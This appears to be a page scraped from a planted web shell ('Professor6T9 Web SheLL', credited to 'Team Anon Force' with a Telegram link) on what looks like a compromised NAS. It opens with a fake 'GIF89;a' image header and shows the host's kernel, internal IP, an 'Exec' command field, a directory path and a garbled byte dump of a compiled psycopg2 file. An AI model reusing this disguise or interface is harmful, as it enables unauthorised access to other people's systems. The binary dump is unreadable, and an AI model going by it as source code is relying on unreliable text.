GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
psycopg2
/
__pycache__
[ HOME ]
Exec
Submit
File Name : _json.cpython-38.pyc
U �}�h� � @ s� d Z ddlZddlmZmZ ddlmZmZmZ ddlm Z dZ dZdZd Z G d d� de�Zddd�Zddd�Zddd�Zddd�Zddd�ZdS )z�Implementation of the JSON adaptation objects This module exists to avoid a circular import problem: pyscopg2.extras depends on psycopg2.extension, so I can't create the default JSON typecasters in extensions importing register_json from extras. � N)� ISQLQuote�QuotedString)�new_type�new_array_type� register_type)�PY2�r �� i� i� c @ sP e Zd ZdZddd�Zdd� Zdd� Zd d � Zdd� Ze rDd d� Z ndd� Z dS )�Jsona An `~psycopg2.extensions.ISQLQuote` wrapper to adapt a Python object to :sql:`json` data type. `!Json` can be used to wrap any object supported by the provided *dumps* function. If none is provided, the standard :py:func:`json.dumps()` is used. Nc C s || _ d | _|ptj| _d S �N)�adapted�_conn�json�dumps�_dumps)�selfr r � r �5/tmp/pip-target-hu2ovxdm/lib/python/psycopg2/_json.py�__init__9 s z Json.__init__c C s |t kr| S d S r )r )r �protor r r �__conform__>